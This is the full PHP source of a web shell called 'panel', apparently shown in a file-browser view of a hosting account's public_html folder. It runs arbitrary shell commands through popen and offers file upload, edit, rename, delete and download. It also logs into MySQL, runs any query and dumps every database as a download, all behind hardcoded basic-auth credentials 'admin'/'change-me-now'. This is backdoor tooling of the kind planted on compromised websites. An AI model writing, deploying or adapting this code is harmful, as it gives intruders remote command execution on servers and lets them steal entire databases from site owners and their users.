/
home
/
desmarkadmin
/
public_html
/
Upload FileeE
HOME
<?php // panel.php — shell + file manager + mysql admin declare(strict_types=1); session_start(); $PANEL_USER = 'admin'; $PANEL_PASS = 'change-me-now'; if (($_SERVER['PHP_AUTH_USER'] ?? '') !== $PANEL_USER || ($_SERVER['PHP_AUTH_PW'] ?? '') !== $PANEL_PASS) { header('WWW-Authenticate: Basic realm="panel"'); header('HTTP/1.0 401 Unauthorized'); exit('Auth required'); } /* ROOT auto-detect */ $ROOT = __DIR__; $home = $_SERVER['HOME'] ?? ('/home/' . (function_exists('posix_getpwuid') ? (posix_getpwuid(posix_geteuid())['name'] ?? '') : '')); foreach ([$home . '/public_html', $home] as $candidate) { if ($candidate !== '/' && is_dir($candidate) && str_starts_with(__DIR__, $candidate)) { $ROOT = $candidate; break; } } $MAX_EDIT_BYTES = 2 * 1024 * 1024; function h($s): string { return htmlspecialchars((string)$s, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'); } function qi(string $i): string { return '`' . str_replace('`', '``', $i) . '`'; } function safePath(string $root, string $rel): ?string { $rel = str_replace('\\', '/', $rel); $rel = ltrim($rel, '/'); if (str_contains($rel, "\0")) return null; $full = realpath($root . '/' . $rel); if ($full === false) { $parent = realpath($root . '/' . dirname($rel)); if ($parent === false || !str_starts_with($parent, $root)) return null; return $parent . '/' . basename($rel); } return str_starts_with($full, $root) ? $full : null; } function relPath(string $root, string $full): string { $rel = ltrim(substr($full, strlen($root)), '/'); return $rel === '' ? '.' : $rel; } function db(): ?PDO { if (empty($_SESSION['db_conn'])) return null; [$host, $port, $user, $pass] = $_SESSION['db_conn']; try { return new PDO("mysql:host=$host;port=$port;charset=utf8mb4", $user, $pass, [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, ]); } catch (Throwable $e) { return null; } } /* current dir — session based */ if (!isset($_SESSION['cwd'])) $_SESSION['cwd'] = '.'; if (array_key_exists('nav', $_POST)) $_SESSION['cwd'] = (string)$_POST['nav']; $fmDir = (string)$_SESSION['cwd']; $dirPath = safePath($ROOT, $fmDir); if ($dirPath === null || !is_dir($dirPath)) { $dirPath = $ROOT; $fmDir = '.'; $_SESSION['cwd'] = '.'; } $fmMsg = ''; $editFile = null; $editBody = ''; $cmdOut = ''; $cmdIn = ''; /* shell */ if (($_POST['do'] ?? '') === 'cmd') { $cmdIn = trim((string)($_POST['cmd'] ?? '')); if ($cmdIn !== '') { $full = 'cd ' . escapeshellarg($dirPath) . ' && ' . $cmdIn . ' 2>&1'; $h = popen($full, 'r'); if ($h) { while (!feof($h)) $cmdOut .= fgets($h); pclose($h); } else { $cmdOut = "popen failed\n"; } } } /* upload */ if (($_POST['do'] ?? '') === 'upload' && isset($_FILES['f'])) { $name = basename((string)$_FILES['f']['name']); $dest = $dirPath . '/' . $name; if (!str_starts_with($dest, $ROOT)) { $fmMsg = "Refused: outside root"; } elseif ($_FILES['f']['error'] === UPLOAD_ERR_OK && move_uploaded_file($_FILES['f']['tmp_name'], $dest)) { $fmMsg = "Uploaded: $name (" . number_format((int)filesize($dest)) . " bytes)"; } else { $fmMsg = "Upload failed (code " . (int)$_FILES['f']['error'] . ")"; } } /* delete */ if (isset($_GET['del'])) { $p = safePath($ROOT, $fmDir . '/' . basename((string)$_GET['del'])); if ($p && $p !== __FILE__) { is_dir($p) ? @rmdir($p) : @unlink($p); $fmMsg = "Deleted: " . basename($p); } } /* mkdir */ if (($_POST['do'] ?? '') === 'mkdir' && ($_POST['name'] ?? '') !== '') { $name = trim((string)$_POST['name']); if (strpbrk($name, "/\\\0") === false) { $fmMsg = @mkdir($dirPath . '/' . $name) ? "Created folder: $name" : "mkdir failed"; } else { $fmMsg = "Invalid folder name"; } } /* mkfile */ if (($_POST['do'] ?? '') === 'mkfile' && ($_POST['name'] ?? '') !== '') { $name = trim((string)$_POST['name']); if (strpbrk($name, "/\\\0") === false) { $p = $dirPath . '/' . $name; $fmMsg = (!file_exists($p) && @file_put_contents($p, '') !== false) ? "Created: $name" : "Create failed or file exists"; } else { $fmMsg = "Invalid file name"; } } /* rename */ if (($_POST['do'] ?? '') === 'rename' && ($_POST['from'] ?? '') !== '' && ($_POST['to'] ?? '') !== '') { $from = safePath($ROOT, $fmDir . '/' . basename((string)$_POST['from'])); $toName = trim((string)$_POST['to']); if ($from && strpbrk($toName, "/\\\0") === false) { $to = dirname($from) . '/' . $toName; $fmMsg = (str_starts_with($to, $ROOT) && @rename($from, $to)) ? "Renamed → $toName" : "Rename failed"; } else { $fmMsg = "Invalid rename"; } } /* save */ if (($_POST['do'] ?? '') === 'save' && ($_POST['file'] ?? '') !== '') { $p = safePath($ROOT, $fmDir . '/' . basename((string)$_POST['file'])); if ($p && is_file($p)) { $fmMsg = @file_put_contents($p, (string)($_POST['content'] ?? '')) !== false ? "Saved: " . basename($p) : "Save failed"; } } /* download */ if (isset($_GET['dl'])) { $p = safePath($ROOT, $fmDir . '/' . basename((string)$_GET['dl'])); if ($p && is_file($p)) { while (ob_get_level()) ob_end_clean(); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($p) . '"'); header('Content-Length: ' . filesize($p)); readfile($p); exit; } } /* edit */ if (isset($_GET['edit'])) { $p = safePath($ROOT, $fmDir . '/' . basename((string)$_GET['edit'])); if ($p && is_file($p)) { if (filesize($p) > $MAX_EDIT_BYTES) { $fmMsg = "File too big to edit. Use download."; } else { $editFile = $p; $editBody = (string)file_get_contents($p); } } } /* ============ DB ============ */ $action = $_GET['action'] ?? $_POST['action'] ?? ''; $dbView = $_GET['dview'] ?? $_POST['dview'] ?? 'dbs'; $dbName = $_GET['db'] ?? $_POST['db'] ?? ''; $table = $_GET['table'] ?? $_POST['table'] ?? ''; $page = max(1, (int)($_GET['page'] ?? 1)); if (($_POST['do'] ?? '') === 'db_login') { $host = trim((string)($_POST['host'] ?? 'localhost')); $port = (int)($_POST['port'] ?? 3306) ?: 3306; $user = (string)($_POST['user'] ?? ''); $pass = (string)($_POST['pass'] ?? ''); try { new PDO("mysql:host=$host;port=$port;charset=utf8mb4", $user, $pass, [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]); $_SESSION['db_conn'] = [$host, $port, $user, $pass]; header('Location: ?tab=db&dview=dbs'); exit; } catch (Throwable $e) { $dbError = $e->getMessage(); } } if ($action === 'db_logout') { unset($_SESSION['db_conn']); header('Location: ?tab=db'); exit; } if ($action === 'dump' && $dbName !== '') { $pdo = db(); if (!$pdo) { http_response_code(500); exit('no connection'); } while (ob_get_level()) ob_end_clean(); header('Content-Type: application/sql; charset=utf-8'); header('Content-Disposition: attachment; filename="' . preg_replace('/[^A-Za-z0-9_.-]/', '_', $dbName) . '-' . date('Ymd-His') . '.sql"'); streamDb($pdo, $dbName); exit; } if ($action === 'dumpall') { $pdo = db(); if (!$pdo) { http_response_code(500); exit('no connection'); } while (ob_get_level()) ob_end_clean(); header('Content-Type: application/sql; charset=utf-8'); header('Content-Disposition: attachment; filename="all-databases-' . date('Ymd-His') . '.sql"'); $skip = ['information_schema','performance_schema','mysql','sys']; foreach ($pdo->query('SHOW DATABASES')->fetchAll(PDO::FETCH_COLUMN) as $d) { if (in_array($d, $skip, true)) continue; streamDb($pdo, $d); } exit; } function streamDb(PDO $pdo, string $db): void { echo "-- Database: $db\n-- Generated: " . date('c') . "\n\n"; echo "SET NAMES utf8mb4;\nSET FOREIGN_KEY_CHECKS=0;\n"; echo "CREATE DATABASE IF NOT EXISTS " . qi($db) . " DEFAULT CHARACTER SET utf8mb4;\nUSE " . qi($db) . ";\n\n"; foreach ($pdo->query('SHOW FULL TABLES FROM ' . qi($db))->fetchAll(PDO::FETCH_NUM) as $t) { [$name, $type] = $t; if ($type === 'VIEW') { $row = $pdo->query('SHOW CREATE VIEW ' . qi($db) . '.' . qi($name))->fetch(PDO::FETCH_NUM); echo "DROP VIEW IF EXISTS " . qi($name) . ";\n" . ($row[1] ?? '') . ";\n\n"; continue; } $create = $pdo->query('SHOW CREATE TABLE ' . qi($db) . '.' . qi($name))->fetch(PDO::FETCH_NUM); echo "DROP TABLE IF EXISTS " . qi($name) . ";\n" . ($create[1] ?? '') . ";\n\n"; $stmt = $pdo->query('SELECT * FROM ' . qi($db) . '.' . qi($name)); while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) { $cols = implode(',', array_map(fn($c) => qi($c), array_keys($row))); $vals = implode(',', array_map(function ($v) use ($pdo) { if ($v === null) return 'NULL'; if (is_int($v) || is_float($v)) return (string)$v; return $pdo->quote((string)$v); }, array_values($row))); echo "INSERT INTO " . qi($name) . " ($cols) VALUES ($vals);\n"; } echo "\n"; flush(); } echo "SET FOREIGN_KEY_CHECKS=1;\n\n"; } $pdo = db(); $databases = []; $dbTables = []; $dbBody = ''; $dbErr = ''; if ($pdo) { try { $databases = $pdo->query('SHOW DATABASES')->fetchAll(PDO::FETCH_COLUMN); } catch (Throwable $e) {} if ($dbName !== '' && in_array($dbName, $databases, true)) { try { $dbTables = $pdo->query('SHOW FULL TABLES FROM ' . qi($dbName))->fetchAll(PDO::FETCH_NUM); } catch (Throwable $e) {} } try { if ($dbView === 'tables' && $dbName !== '') { $dbBody = '<h3>Tables in ' . h($dbName) . '</h3><table><tr><th>Name</th><th>Type</th><th>Rows</th><th></th></tr>'; foreach ($dbTables as $t) { $cnt = $pdo->query('SELECT COUNT(*) FROM ' . qi($dbName) . '.' . qi($t[0]))->fetchColumn(); $dbBody .= '<tr><td>' . h($t[0]) . '</td><td>' . h($t[1]) . '</td><td>' . h((string)$cnt) . '</td>' . '<td><a href="?tab=db&dview=browse&db=' . urlencode($dbName) . '&table=' . urlencode($t[0]) . '">browse</a> ' . '<a href="?tab=db&dview=structure&db=' . urlencode($dbName) . '&table=' . urlencode($t[0]) . '">struct</a></td></tr>'; } $dbBody .= '</table>'; } elseif ($dbView === 'browse' && $dbName !== '' && $table !== '') { $per = 100; $off = ($page - 1) * $per; $rows = $pdo->query('SELECT * FROM ' . qi($dbName) . '.' . qi($table) . " LIMIT $per OFFSET $off")->fetchAll(); $dbBody = '<h3>' . h($dbName) . '.' . h($table) . ' — page ' . $page . '</h3>'; if ($rows) { $dbBody .= '<div class="scroll"><table><tr>'; foreach (array_keys($rows[0]) as $c) $dbBody .= '<th>' . h($c) . '</th>'; $dbBody .= '</tr>'; foreach ($rows as $r) { $dbBody .= '<tr>'; foreach ($r as $v) $dbBody .= '<td>' . h($v === null ? 'NULL' : (string)$v) . '</td>'; $dbBody .= '</tr>'; } $dbBody .= '</table></div>'; } else { $dbBody .= '<p class="mut">No rows.</p>'; } $dbBody .= '<p><a href="?tab=db&dview=browse&db=' . urlencode($dbName) . '&table=' . urlencode($table) . '&page=' . ($page - 1) . '">« prev</a> ' . '<a href="?tab=db&dview=browse&db=' . urlencode($dbName) . '&table=' . urlencode($table) . '&page=' . ($page + 1) . '">next »</a></p>'; } elseif ($dbView === 'structure' && $dbName !== '' && $table !== '') { $cols = $pdo->query('DESCRIBE ' . qi($dbName) . '.' . qi($table))->fetchAll(); $dbBody = '<h3>Structure: ' . h($table) . '</h3><table><tr><th>Field</th><th>Type</th><th>Null</th><th>Key</th><th>Default</th><th>Extra</th></tr>'; foreach ($cols as $c) { $dbBody .= '<tr>'; foreach (['Field','Type','Null','Key','Default','Extra'] as $k) $dbBody .= '<td>' . h((string)$c[$k]) . '</td>'; $dbBody .= '</tr>'; } $dbBody .= '</table>'; $create = $pdo->query('SHOW CREATE TABLE ' . qi($dbName) . '.' . qi($table))->fetch(PDO::FETCH_NUM); $dbBody .= '<h3>CREATE</h3><pre>' . h($create[1] ?? '') . '</pre>'; } elseif ($dbView === 'sql') { $q = (string)($_POST['q'] ?? ''); $dbBody = '<form method="post"><input type="hidden" name="tab" value="db"><input type="hidden" name="dview" value="sql">' . ($dbName !== '' ? '<input type="hidden" name="db" value="' . h($dbName) . '">' : '') . '<textarea name="q" rows="5" placeholder="SELECT * FROM ...">' . h($q) . '</textarea>' . '<button class="primary">Run</button></form>'; if ($q !== '') { if ($dbName !== '') $pdo->exec('USE ' . qi($dbName)); $stmt = $pdo->query($q); if ($stmt) { $rows = $stmt->fetchAll(); if ($rows) { $dbBody .= '<div class="scroll"><table><tr>'; foreach (array_keys($rows[0]) as $c) $dbBody .= '<th>' . h($c) . '</th>'; $dbBody .= '</tr>'; foreach ($rows as $r) { $dbBody .= '<tr>'; foreach ($r as $v) $dbBody .= '<td>' . h($v === null ? 'NULL' : (string)$v) . '</td>'; $dbBody .= '</tr>'; } $dbBody .= '</table></div>'; } else { $dbBody .= '<p class="mut">Query OK. Rows affected: ' . $stmt->rowCount() . '</p>'; } } } } elseif ($dbView === 'dbs' || $dbName === '') { $dbBody = '<table><tr><th>Database</th><th></th></tr>'; foreach ($databases as $d) { $dbBody .= '<tr><td><a href="?tab=db&dview=tables&db=' . urlencode($d) . '">' . h($d) . '</a></td>' . '<td><a href="?tab=db&action=dump&db=' . urlencode($d) . '">dump</a></td></tr>'; } $dbBody .= '</table><p><a class="btn" href="?tab=db&action=dumpall">⬇ Dump all databases</a></p>'; } } catch (Throwable $e) { $dbErr = $e->getMessage(); } } $tab = $_GET['tab'] ?? 'files'; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>panel</title> <style> *{box-sizing:border-box} body{margin:0;font:13px/1.5 ui-monospace,Menlo,Consolas,monospace;background:#0d1117;color:#c9d1d9} nav{background:#161b22;border-bottom:1px solid #30363d;padding:10px 16px;display:flex;gap:12px;align-items:center} nav b{color:#58a6ff;margin-right:12px} nav a{color:#c9d1d9;text-decoration:none;padding:5px 10px;border-radius:5px;font-size:12px} nav a:hover{background:#21262d} nav a.active{background:#1f6feb;color:#fff} main{padding:18px;max-width:1150px;margin:auto} h2{font-size:15px;margin:0 0 12px;color:#58a6ff} h3{font-size:13px;margin:18px 0 8px;color:#8b949e} form{margin-bottom:10px} .panel{background:#161b22;border:1px solid #30363d;border-radius:8px;padding:14px;margin-bottom:18px} .row{display:flex;gap:8px;align-items:center;flex-wrap:wrap} input[type=text],input[type=password]{padding:8px 11px;background:#0d1117;color:#c9d1d9;border:1px solid #30363d;border-radius:6px;font:inherit} input[type=text]{flex:1;min-width:120px} input:focus,textarea:focus{outline:none;border-color:#58a6ff} input[type=file]{color:#c9d1d9;padding:6px 0} textarea{width:100%;background:#0d1117;color:#c9d1d9;border:1px solid #30363d;border-radius:6px;padding:10px;font:inherit;box-sizing:border-box;min-height:50vh;white-space:pre;overflow:auto} button{padding:8px 14px;background:#21262d;color:#c9d1d9;border:1px solid #30363d;border-radius:6px;cursor:pointer;font:inherit} button:hover{background:#30363d} .primary{background:#238636;color:#fff;border-color:#2ea043} .primary:hover{background:#2ea043} pre{background:#0d1117;border:1px solid #30363d;border-radius:6px;padding:12px;white-space:pre-wrap;word-break:break-word;max-height:40vh;overflow:auto;margin:0} .msg{color:#3fb950;margin-bottom:10px} .err{color:#f85149;margin-bottom:10px;white-space:pre-wrap} table{border-collapse:collapse;width:100%;font-size:12px} th,td{border:1px solid #30363d;padding:6px 10px;text-align:left;vertical-align:top} th{background:#161b22;color:#8b949e;font-weight:500} tr:nth-child(even) td{background:#11161d} a{color:#58a6ff;text-decoration:none} a:hover{text-decoration:underline} .del{color:#f85149} .mut{color:#8b949e;font-size:12px} .scroll{max-height:60vh;overflow:auto;border:1px solid #30363d;border-radius:6px} .grid{display:grid;grid-template-columns:1fr 1fr;gap:16px} .actions a{display:inline-block;margin-right:8px} @media(max-width:800px){.grid{grid-template-columns:1fr}} /* pwd bar — every segment looks and acts like a link */ .pwdbar{ background:#161b22;border:1px solid #30363d;border-radius:8px; padding:10px 14px;margin-bottom:10px; font-size:13px;line-height:2.2; word-break:break-all; } .pwdbar .plabel{color:#8b949e;margin-right:8px} .pwdbar .pslash{color:#484f58;padding:0 2px} .pwdbar .praw{color:#6e7681;font-size:11px;margin-left:10px} .pwdbar .pcopy{ margin-left:8px; background:#21262d;border:1px solid #30363d;border-radius:5px; color:#8b949e;padding:2px 10px;font:inherit;font-size:11px; cursor:pointer; } .pwdbar .pcopy:hover{background:#30363d;color:#c9d1d9} .navform{display:inline;margin:0;padding:0} button.navlink{ background:transparent;border:1px solid transparent;color:#58a6ff; padding:2px 8px;margin:0;cursor:pointer; font:inherit;font-size:13px;text-decoration:none; border-radius:4px; } button.navlink:hover{background:#1f6feb;color:#fff;text-decoration:none} button.navlink.current{color:#58a6ff;font-weight:600} button.navlink.current:hover{background:#1f6feb;color:#fff} button.dirname{background:transparent;border:0;color:#58a6ff;padding:0;margin:0;cursor:pointer;font:inherit;font-size:inherit;text-align:left} button.dirname:hover{text-decoration:underline} </style> </head> <body> <nav> <b>panel</b> <a href="?tab=files" class="<?= $tab==='files'?'active':'' ?>">Files</a> <a href="?tab=db" class="<?= $tab==='db'?'active':'' ?>">MySQL</a> </nav> <main> <?php if ($tab === 'files'): ?> <h2>File Manager</h2> <?php if ($fmMsg): ?><div class="msg <?= (str_contains($fmMsg, 'fail') || str_contains($fmMsg, 'Refused') || str_contains($fmMsg, 'Invalid')) ? 'err' : '' ?>"><?= h($fmMsg) ?></div><?php endif; ?> <?php // ---------- breadcrumb: EVERY segment is clickable ---------- $rel = relPath($ROOT, $dirPath); $parts = $rel === '.' ? [] : explode('/', $rel); ?> <div class="pwdbar"> <span class="plabel">pwd:</span> <form method="post" class="navform"> <input type="hidden" name="tab" value="files"> <input type="hidden" name="nav" value="."> <button type="submit" class="navlink<?= $rel === '.' ? ' current' : '' ?>"><?= h(basename($ROOT) ?: '/') ?></button> </form> <?php $acc = ''; foreach ($parts as $i => $p): $acc = $acc === '' ? $p : $acc . '/' . $p; $isLast = ($i === count($parts) - 1); ?> <span class="pslash">/</span> <form method="post" class="navform"> <input type="hidden" name="tab" value="files"> <input type="hidden" name="nav" value="<?= h($acc) ?>"> <button type="submit" class="navlink<?= $isLast ? ' current' : '' ?>"><?= h($p) ?></button> </form> <?php endforeach; ?> <span class="praw">(<?= h($dirPath) ?>)</span> <button type="button" class="pcopy" onclick="copyPwd()">copy path</button> </div> <form method="post" class="panel" style="padding:10px 14px"> <input type="hidden" name="tab" value="files"> <div class="row"> <input type="text" name="nav" placeholder="go to path — e.g. wp-content/plugins (absolute also works)" value="<?= h($rel === '.' ? '' : $rel) ?>"> <button class="primary">Go</button> </div> </form> <script> function copyPwd() { var p = <?= json_encode($dirPath) ?>; if (navigator.clipboard) { navigator.clipboard.writeText(p).then(function () { var b = document.querySelector('.pwdbar .pcopy'); var t = b.textContent; b.textContent = 'copied!'; setTimeout(function () { b.textContent = t; }, 1200); }); } else { prompt('Copy this path:', p); } } </script> <div class="panel"> <form method="post" class="row" style="margin-bottom:8px" autocomplete="off"> <input type="hidden" name="tab" value="files"> <input type="hidden" name="do" value="cmd"> <input type="text" name="cmd" placeholder="shell command (runs in current directory)" value="<?= h($cmdIn) ?>" autofocus> <button class="primary">Run</button> </form> <?php if ($cmdIn !== ''): ?><pre style="margin-bottom:10px"><?= h($cmdOut) ?></pre><?php endif; ?> <form method="post" enctype="multipart/form-data" class="row" style="margin-bottom:8px"> <input type="hidden" name="tab" value="files"> <input type="hidden" name="do" value="upload"> <input type="file" name="f" required> <button class="primary">Upload</button> </form> <form method="post" class="row" style="margin-bottom:8px"> <input type="hidden" name="tab" value="files"> <input type="hidden" name="do" value="mkdir"> <input type="text" name="name" placeholder="new folder name"> <button>+ Folder</button> </form> <form method="post" class="row"> <input type="hidden" name="tab" value="files"> <input type="hidden" name="do" value="mkfile"> <input type="text" name="name" placeholder="new file name"> <button>+ File</button> </form> </div> <?php if ($editFile !== null): ?> <div class="panel"> <h3 style="margin-top:0">Editing: <?= h(relPath($ROOT, $editFile)) ?></h3> <form method="post"> <input type="hidden" name="tab" value="files"> <input type="hidden" name="do" value="save"> <input type="hidden" name="file" value="<?= h(basename($editFile)) ?>"> <textarea name="content" spellcheck="false"><?= h($editBody) ?></textarea> <p> <button class="primary">Save</button> <button type="submit" name="nav" value="<?= h(relPath($ROOT, $dirPath)) ?>" style="margin-left:8px">cancel</button> </p> </form> </div> <?php endif; ?> <table> <tr><th>Name</th><th>Size</th><th>Modified</th><th>Perms</th><th>Actions</th></tr> <?php if (relPath($ROOT, $dirPath) !== '.'): ?> <tr> <td colspan="5"> <form method="post" class="navform"> <input type="hidden" name="tab" value="files"> <input type="hidden" name="nav" value="<?= h(dirname(relPath($ROOT, $dirPath))) ?>"> <button type="submit" class="navlink">⬆ ..</button> </form> </td> </tr> <?php endif; ?> <?php $items = @scandir($dirPath) ?: []; usort($items, function ($a, $b) use ($dirPath) { if ($a === '.' || $a === '..') return -1; if ($b === '.' || $b === '..') return 1; $da = is_dir($dirPath . '/' . $a); $db_ = is_dir($dirPath . '/' . $b); if ($da !== $db_) return $da ? -1 : 1; return strcasecmp($a, $b); }); foreach ($items as $f): if ($f === '.' || $f === '..') continue; $p = $dirPath . '/' . $f; $isDir = is_dir($p); $relFull = relPath($ROOT, $p); ?> <tr> <td> <?php if ($isDir): ?> 📁 <form method="post" class="navform"> <input type="hidden" name="tab" value="files"> <input type="hidden" name="nav" value="<?= h($relFull) ?>"> <button type="submit" class="dirname"><?= h($f) ?></button> </form> <?php else: ?> 📄 <?= h($f) ?> <?php endif; ?> </td> <td><?= $isDir ? '—' : number_format((int)filesize($p)) ?></td> <td><?= date('Y-m-d H:i', (int)filemtime($p)) ?></td> <td><?= h(substr(sprintf('%o', fileperms($p)), -4)) ?></td> <td class="actions"> <?php if (!$isDir): ?> <a href="?tab=files&edit=<?= urlencode($f) ?>">edit</a> <a href="?tab=files&dl=<?= urlencode($f) ?>">download</a> <?php endif; ?> <a href="#" onclick="renamePrompt('<?= h(addslashes($f)) ?>');return false;">rename</a> <?php if ($p !== __FILE__): ?> <a class="del" href="?tab=files&del=<?= urlencode($f) ?>" onclick="return confirm('Delete <?= h($f) ?>?')">delete</a> <?php endif; ?> </td> </tr> <?php endforeach; ?> </table> <form method="post" id="renameForm" style="display:none"> <input type="hidden" name="tab" value="files"> <input type="hidden" name="do" value="rename"> <input type="hidden" name="from" id="rfFrom"> <input type="hidden" name="to" id="rfTo"> </form> <script> function renamePrompt(oldName) { var n = prompt('Rename "' + oldName + '" to:', oldName); if (!n || n === oldName) return; document.getElementById('rfFrom').value = oldName; document.getElementById('rfTo').value = n; document.getElementById('renameForm').submit(); } </script> <?php endif; ?> <?php if ($tab === 'db'): ?> <?php if (!$pdo): ?> <h2>MySQL Login</h2> <div class="panel"> <form method="post"> <input type="hidden" name="tab" value="db"> <input type="hidden" name="do" value="db_login"> <div class="grid"> <div><label class="mut">Host</label><input type="text" name="host" value="<?= h($_POST['host'] ?? 'localhost') ?>"></div> <div><label class="mut">Port</label><input type="text" name="port" value="<?= h($_POST['port'] ?? '3306') ?>"></div> <div><label class="mut">User</label><input type="text" name="user" value="<?= h($_POST['user'] ?? '') ?>"></div> <div><label class="mut">Password</label><input type="password" name="pass"></div> </div> <p><button class="primary">Connect</button></p> <?php if (!empty($dbError)): ?><div class="err"><?= h($dbError) ?></div><?php endif; ?> </form> </div> <?php else: ?> <p class="mut"> Connected to <?= h($_SESSION['db_conn'][0]) ?>:<?= h((string)$_SESSION['db_conn'][1]) ?> as <?= h($_SESSION['db_conn'][2]) ?> · <a href="?tab=db&dview=sql<?= $dbName ? '&db=' . urlencode($dbName) : '' ?>">SQL</a> · <a href="?tab=db&action=dumpall">Dump all</a> · <a href="?tab=db&action=db_logout" class="del">Disconnect</a> </p> <?php if ($dbErr): ?><div class="err"><?= h($dbErr) ?></div><?php endif; ?> <div class="panel"> <h3 style="margin-top:0">Databases</h3> <?php foreach ($databases as $d): ?> <a href="?tab=db&dview=tables&db=<?= urlencode($d) ?>" style="<?= $d === $dbName ? 'font-weight:bold' : '' ?>"><?= h($d) ?></a> <a class="mut" href="?tab=db&action=dump&db=<?= urlencode($d) ?>">[dump]</a> <?php endforeach; ?> </div> <?php if ($dbName): ?> <p class="mut"> db: <b><?= h($dbName) ?></b> <?php if ($table): ?> · table: <b><?= h($table) ?></b><?php endif; ?> · <a href="?tab=db&action=dump&db=<?= urlencode($dbName) ?>">dump this database</a> </p> <?php endif; ?> <?= $dbBody ?> <?php endif; ?> <?php endif; ?> </main> </body> </html>